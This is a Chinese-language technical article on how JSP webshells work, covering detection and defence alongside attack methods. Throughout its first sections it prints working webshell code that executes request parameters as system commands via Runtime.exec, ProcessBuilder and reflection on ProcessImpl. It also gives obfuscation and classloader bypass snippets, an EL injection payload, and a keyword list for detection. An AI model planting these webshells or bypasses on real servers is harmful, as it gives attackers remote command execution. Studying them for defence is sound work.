Jsp Webshell原理性探究的那些事
字数 1431 2025-08-10 08:28:07
JSP Webshell原理与绕过技术深入解析
一、基础JSP Webshell原理
1.1 基本执行模型
JSP Webshell的核心原理是通过JSP页面接收参数并执行系统命令:
<%
// 基础WebShell示例
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String res = null;
while ((res = bufferedReader.readLine()) != null) {
response.getWriter().write(res);
}
}
%>
关键点分析:
- 通过
request.getParameter("cmd")获取用户输入 - 使用
Runtime.getRuntime().exec()执行系统命令 - 读取命令执行结果并输出到响应中
1.2 执行流程分析
- 用户访问JSP页面并传入
cmd参数 - JSP引擎解析并执行脚本
- 命令执行结果通过HTTP响应返回给用户
二、替代执行方法
2.1 ProcessBuilder方式
当Runtime.getRuntime().exec()被禁用时,可使用ProcessBuilder:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = new ProcessBuilder(new String[]{cmd}).start();
// 后续处理与Runtime方式相同
}
%>
2.2 反射调用ProcessImpl
通过反射调用底层ProcessImpl类的start方法:
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Class<?> aClass = Class.forName("java.lang.ProcessImpl");
Method start = aClass.getDeclaredMethod("start", String[].class, Map.class,
String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);
// 后续处理...
}
%>
平台差异:
- Windows: 使用
ProcessImpl类 - Unix-like: 使用
UNIXProcess类
2.3 底层Unsafe调用
更底层的实现方式是通过Unsafe创建类实例并调用native方法forkAndExec执行命令。
三、JSP解析流程与混淆技术
3.1 JSP解析过程
- 首次访问:JSP页面被编译成Servlet类(生成.class文件)
- 后续访问:直接使用已编译的Servlet处理请求
- 关键方法:
JspServletWrapper#service→compile→JDTCompiler
3.2 混淆与绕过技术
3.2.1 编码混淆
常见混淆方式包括:
- 十六进制编码
- Unicode编码
- Base64编码
- 自定义编码算法
示例(部分编码):
<%-- 使用字符编码混淆 --%>
<%
String x = "\u0052\u0075\u006e\u0074\u0069\u006d\u0065"; // "Runtime"
Process p = Class.forName("java.lang."+x).getMethod("get"+x).invoke(null);
%>
3.2.2 类加载技巧
通过自定义类加载器加载恶意代码:
<%
byte[] classBytes = /* 恶意类的字节码 */;
ClassLoader loader = new ClassLoader(){};
Class<?> clazz = loader.defineClass(null, classBytes, 0, classBytes.length);
clazz.newInstance();
%>
3.2.3 表达式语言(EL)利用
使用JSP EL表达式执行命令:
${pageContext.request.getSession().setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc"))}
四、防御与检测
4.1 常见检测点
-
关键词检测:
- Runtime
- ProcessBuilder
- ProcessImpl
- getRuntime
- exec
-
行为检测:
- 反射调用
- 类加载行为
- 命令执行特征
4.2 防御建议
-
输入验证:
- 严格过滤JSP页面参数
- 禁用危险字符和关键词
-
权限控制:
- 限制JSP执行权限
- 使用SecurityManager
-
监控措施:
- 监控异常JSP编译行为
- 审计命令执行相关API调用
-
环境加固:
- 禁用危险Java类方法
- 使用安全沙箱环境
五、高级绕过技术
5.1 内存马技术
不依赖文件上传,直接通过内存注入恶意代码:
- 利用反序列化漏洞
- 通过JNDI注入
- 修改已加载的Servlet
5.2 无文件Webshell
通过以下方式实现无文件驻留:
- 注册Filter/Servlet/Listener
- 修改现有Servlet逻辑
- 利用中间件特性
5.3 上下文隐藏技术
- 将恶意代码隐藏在正常业务逻辑中
- 使用合法功能作为掩护(如文件上传、数据处理)
- 分块执行和结果拼接
六、总结
JSP Webshell技术从基础命令执行到高级绕过手段不断发展,防御方需要深入理解Java执行机制和JSP解析流程,建立多层防御体系。关键点包括:
- 掌握多种命令执行方式及其原理
- 理解JSP编译执行流程
- 熟悉常见混淆和绕过技术
- 建立全面的检测和防御策略
安全防护应当结合静态检测、动态监控和行为分析,形成完整的防御闭环。